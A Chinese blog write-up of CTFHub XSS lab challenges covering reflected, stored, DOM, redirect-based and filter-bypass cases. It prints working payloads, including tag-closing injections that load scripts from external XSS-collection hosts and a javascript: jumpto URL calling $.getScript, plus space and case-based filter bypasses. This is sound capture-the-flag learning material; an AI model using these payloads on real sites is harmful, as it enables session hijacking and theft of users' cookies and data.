xss漏洞学习(题解)

1.简单知识点回顾

XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。

特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
类型:

DOM型:属于反射型的一种,利用非法输入来闭合对应的html标签。数据流向是URL→浏览器
存储型:危害大。相关源代码存放于服务器,用户浏览该页面时触发代码执行。
反射型:需要攻击者提前构造一个恶意链接来诱使客户点击。

2.反射型xss

1)进入题目环境,在文本框随意输入,它都能在页面显示,说明可以通过该输入,改变页面内容。

2)尝试输入判断xss的语句试试  <script>alert("1")</script>

3)页面出现提示,得到一个url,复制后放到第二个文本框

4)返回successfully得提示,猜测它应该是在后台进行访问。然后便要用到xss平台了

5)打开xss平台后,注册登录,然后新建一个项目勾选基础默认板块

6)然后将xss平台给的代码复制到第一个输入框中进行注入

7)提交后,在第二个框中访问第一个框注入XSS脚本后的网址,

8)显示成功,然后将注入后的网址复制粘贴到send框提交,接着在xss平台,创建的项目处查看返回的后台信息

9)展开返回的后台信息即可看到flag

3.存储型xss

1)进入环境后还是同样的有一个输入框和一个提交框,输入框中可以输入你的名字并提交。第二个输入框是发送构造好的 XSS 链接给机器人模拟执行。

2)看着跟反射型差不多,既然叫存储型,估计关键信息应该也是在后套信息中了,先按着前面的步骤来试试,先编写一个xss的测试语句  :<script>alert("mzxf")</script>

3)出现回显,然后将该网址复制然后然后粘贴在下面进行提交、

4)一样的,提交成功,但是url头并没有变化,但是说明关键信息在后台里,还是跟前面那一样吧,需要使用xss平台来进行注入

5)复制xss平台注入代码到第一个输入口:

6)上传后将该网页地址复制粘贴到第二个提交文本框内进行提交,

7)页面显示提交正确,然后在新建项目中查看,便能找到flag

3.DOM反射

1)进入环境后基本页面跟前面两个反射都是一样的,估计和解题方法和反射型也差不多,还是需要使用xss platformxss platform,创建项目即可。但是是需要注意的是,输入框中有我们 可控的地方,所以后面构造就需要注意了

<script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>

CTFHub is very niubility 替换成以下内容

';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>

也就是这里的注入语句没有闭合,需要修改xss平台给的注入语句,在前面加 个   ';</script></textarea>' "> 

给它构造闭合

..

2)然后将构造好的语句写入输入框,上传成功后再将当前页面地址复制到url处,提交成功在xss平台便看可以看到后台信息,然后找到flag

..

4.DOM跳转

1)进入题目环境,发现没有提交的窗口了

url这也只能传url头,不能随意输入

2)弄了半天,属实没思绪,一时间又陷入僵局,便去找 大佬的wp看了看,大佬是这样解读这题的

查看源码,这里有一个关键的地方存在xss漏洞

        这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL

        具体而言,它使用location.search获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")将其拆分为参数名和参数值的数组。

        然后,它检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

3)因此,这里可以构造如下语句来执行js

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:alert(1)

4)上传成功,然后就需要构造能访问 xss平台连接的代码,

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//uj.ci/w7r")

按照大佬的说法,这里这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,还有就是使用前提是要网站引用了jQuery。

jquery作用

访问和操作DOM元素

控制页面样式

对页面事件进行处理

扩展新的jQuery插件

与Ajax技术完美结合

jQuery能做的JavaScript也能做,但使用jQuery能大幅提高开发效率

jQuery和JavaScript之间的关系,可以理解为“成语”和“白话文”之间的关系。成语是对白话文的高度压缩,而jQuery也是对JavaScript的高度压缩库

具体请看:jQuery详解-CSDN博客

5)传入成功,然去xss平台找后台信息,拿到flag

5.过滤空格

1)进入环境,题目说是空格过滤,说明这里有空格绕过了

2)正常来,发现都没问题

3)后面也是一样,没啥问题,但是到最后去找后台信息就显示是啥都没有,需要我们在诸如语句中把空格用/**/代替,便可绕过

4)后台信息便能显示了

6.过滤关键词

1)打开题目环境,说是过滤关键字

2)看看源码有没有提示过滤啥,看了,明显是没提示

3)直接传入注入语句发现成功了

再传url头,发现也成功,xss平台也是直接找到flag

估计这里它过滤的可能是script,但是我的注入语句中是sCripT,相当于大写绕过了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/663544.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【源码+文档+调试讲解】火车票订票系统设计与实现

摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装火车票订票系统软件来发挥其高效地信息处理的作用&#xff…

车灯罩外壳破裂破损掉角等修复,修复后合面合壳密封用泰达克车灯无痕修复UV胶车灯合面密封UV胶。

一&#xff1a;专用车灯无痕修复UV胶 车灯无痕修复专用胶主要成份是改性丙烯酸UV树脂&#xff0c;主要应用在车灯的专业无痕修复领域。 具有如下特点&#xff1a; 固化时间快&#xff0c;通过紫外光照射5-15秒固化。 高度透明&#xff0c;固化后透光率高&#xff0c;折射率接…

佳能R6M2断电覆盖的恢复方法

佳能R6是佳能R系列中的一款高端机&#xff0c;最近两年佳能和索尼不断斗法&#xff0c;都号称自己的新机型能达到影视级&#xff0c;不过目前看貌似索尼更胜一筹。下边这个案例是文件拍摄时断电&#xff0c;结果变成0字节&#xff0c;然后覆盖了部分数据。 故障存储:128G存储卡…

新加坡裸机云站群服务器稳定性怎么样

新加坡裸机云站群服务器的稳定性在云计算领域备受关注&#xff0c;这得益于其卓越的硬件配置、先进的数据中心设计、优质的网络连接以及严格的管理措施。以下是对新加坡裸机云站群服务器稳定性的详细科普&#xff1a; 一、硬件与配置 新加坡裸机云站群服务器通常采用高性能的物…

12V升20V3.5A升压恒压WT3207

12V升20V3.5A升压恒压WT3207 WT3207是一款高效PWM升压控制器&#xff0c;采用SO-8封装设计&#xff0c;专为低输入电压应用优化。该控制器支持5V至36V的宽输入电压范围&#xff0c;使其能够有效提升12V、15V和19V系统的电压水平&#xff0c;特别适合于两节或三节锂离子电池供电…

SpringBoot:基于SpringBoot实现多数据源动态切换

一、前言 Spring Boot 多数据源&#xff0c;也称为动态数据源&#xff0c;是指在Spring Boot项目中配置多个数据源&#xff0c;以支持不同的数据库访问需求。这种配置方式在项目开发逐渐扩大、单个数据源无法满足项目支撑需求时变得尤为重要。 二、目的 配置多数据源的主要目…

FinRobot:一个由大型语言模型(LLM)支持的新型开源AI Agent平台,支持多个金融专业AI Agent

财务分析一直是解读市场趋势、预测经济结果和提供投资策略的关键。这一领域传统上依赖数据&#xff0c;但随着时间的推移&#xff0c;越来越多地使用人工智能&#xff08;AI&#xff09;和算法方法来处理日益增长的复杂数据。AI在金融领域的作用显著增强&#xff0c;它自动化了…

vm:为虚拟机配置多个虚拟网卡(ubuntu20.04)

前言&#xff1a; 环境&#xff1a;虚拟机 ubuntu 20.04 要求&#xff1a;如标题&#xff0c;但是这里针对的是 ubuntu 20.04&#xff0c;对于其他操作系统&#xff0c;可以找一下其他操作系统对应的配置文件是什么 vm 添加虚拟网卡 首先进入 vm&#xff1a; 点击设置&#xf…

【AI大模型】如何让大模型变得更聪明?基于时代背景的思考

【AI大模型】如何让大模型变得更聪明 前言 在以前&#xff0c;AI和大模型实际上界限较为清晰。但是随着人工智能技术的不断发展&#xff0c;基于大规模预训练模型的应用在基于AI人工智能的技术支持和帮助上&#xff0c;多个领域展现出了前所未有的能力。无论是自然语言处理、…

EPSON爱普生RTC RA8900CE/RA8000CE+松下Panasonic电池组合

RTC是一种实时时钟&#xff0c;用于记录和跟踪时间&#xff0c;具有独立供电和时钟功能。在某些应用场景中&#xff0c;为了保证RTC在断电或者其他异常情况下依然能够正常工作&#xff0c;需要备份电池方案来提供稳定的供电。本文将介绍EPSON爱普生RTC RA8900CE/RA8000CE松下Pa…

laravel项目配置Facades Redis自动补全,方法查看

问题原因: 因为Laravel的Redis连接实例是通过RedisManger的工厂类创建的,返回的是一个mixin的类型,因此在IDE中不能自动补全Redis的方法,缺少这个功能,使用起来有些麻烦,尤其是Redis有数十个方法,每个方法也有不少参数。 相关部分的代码如下: /*** @mixin \Illumina…

super().__init__() 来自于哪个PEP

super() 的简化用法&#xff08;即不带参数的 super()&#xff09;是在 Python 3 中引入的。这个改进是由 PEP 3135 规范化的。 PEP 3135: New Super PEP 3135 标题为 “New Super”。它介绍了一种新的方式来调用超类的方法&#xff0c;即不再需要显式地传递当前类和实例&…

格雷希尔GripSeal:G60P系列快速连接器,解决外螺纹无损伤连接的密封方案

在家电、卫浴行业的生产中&#xff0c;外螺纹连接往往面临着严苛的工作环境和复杂的使用场景;比如洗衣机、热水器、乃至龙头阀的一些塑料螺纹、铝合金螺纹和铜管螺纹&#xff0c;它们都需要一种既安全又无损的连接方式。 传统的连接方式会对这些螺纹造成刮伤&#xff0c;影响了…

【MyBatis】MyBatis操作数据库(一)

目录 MyBatis的基础定义MyBatis配置相关文件一、注解操作数据库1.1 Insert(插入注解)1.2 Delete(删除注解)1.3 Update(修改注解)1.4 Select(重点&#xff1a;查询注解)注解解决查询不匹配问题拓展&#xff1a;Param(重命名注解)和OPtions(自增注解) 二、 XML操作数据库2.1 xml实…

HTML语义化标签

<header> 主要用于网页整体顶部&#xff0c;<article>头部&#xff0c;<section>头部 <nav> 导航&#xff0c;一般有主要导航&#xff0c;路径导航&#xff0c;章节导航&#xff0c;内容目录导航 <main> 网页主要区域&#xff0c;一般一个网页…

2024 RCTF WebMisc部分 WP

Misc gogogo 考点:内存取证 得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析 AXIOM 分析存在云服务 但是百度网盘要密码 https://pan.baidu.com/share/init?surlZllFd8IK-oHvTCYl61_7Kw 发现访问过sqlite数据库 可以尝试提取数据库文件出来 结合 volatility 第…

Spring Security3.0版本

前言&#xff1a; 核心&#xff1a; A >> &#xff1f; >> B &#xff1f;代表判断层&#xff0c;由Security实现 这是之前的版本浓缩&#xff0c;现在3.0版本添加了更匹配的内容描写&#xff0c;匹配了mvc模式 非mvc模式 核心&#xff1a;client&#x…

【仿真成品设计】基于STM32的直流电机控制器Proteus仿真

基于STM32的直流电机控制器Proteus仿真 所需器件&#xff1a; Proteus版本&#xff1a;8.15 整体功能&#xff1a; 直流无刷电机控制器是基于ST公司的STM32F103芯片的基础上使用标准库进行开发设计的。选用L298芯片来控制直流电机&#xff1b;采用使用0.96寸OLED屏幕做直流…

振弦采集仪在岩土工程固结沉降监测中的应用研究

振弦采集仪在岩土工程固结沉降监测中的应用研究 岩土工程固结沉降是指土体在受到外力作用下&#xff0c;由于土体颗粒之间的重排结构&#xff0c;导致土体体积缩小和沉降的过程。固结沉降的监测对于岩土工程的设计和施工具有重要的意义&#xff0c;而振弦采集仪作为一种先进的…

主线程等待所有线程结束之后再执行

如何让主线程等待所有线程结束之后再执行 1、Future的机制&#xff0c;使用Future.get()阻塞等待结果&#xff08;Future&#xff0c;FutureTask&#xff09; 2、CountDownLatch同步工具类&#xff0c;此类的作用就是一个线程等待所有线程结束之后再执行 3、CompletableFuture …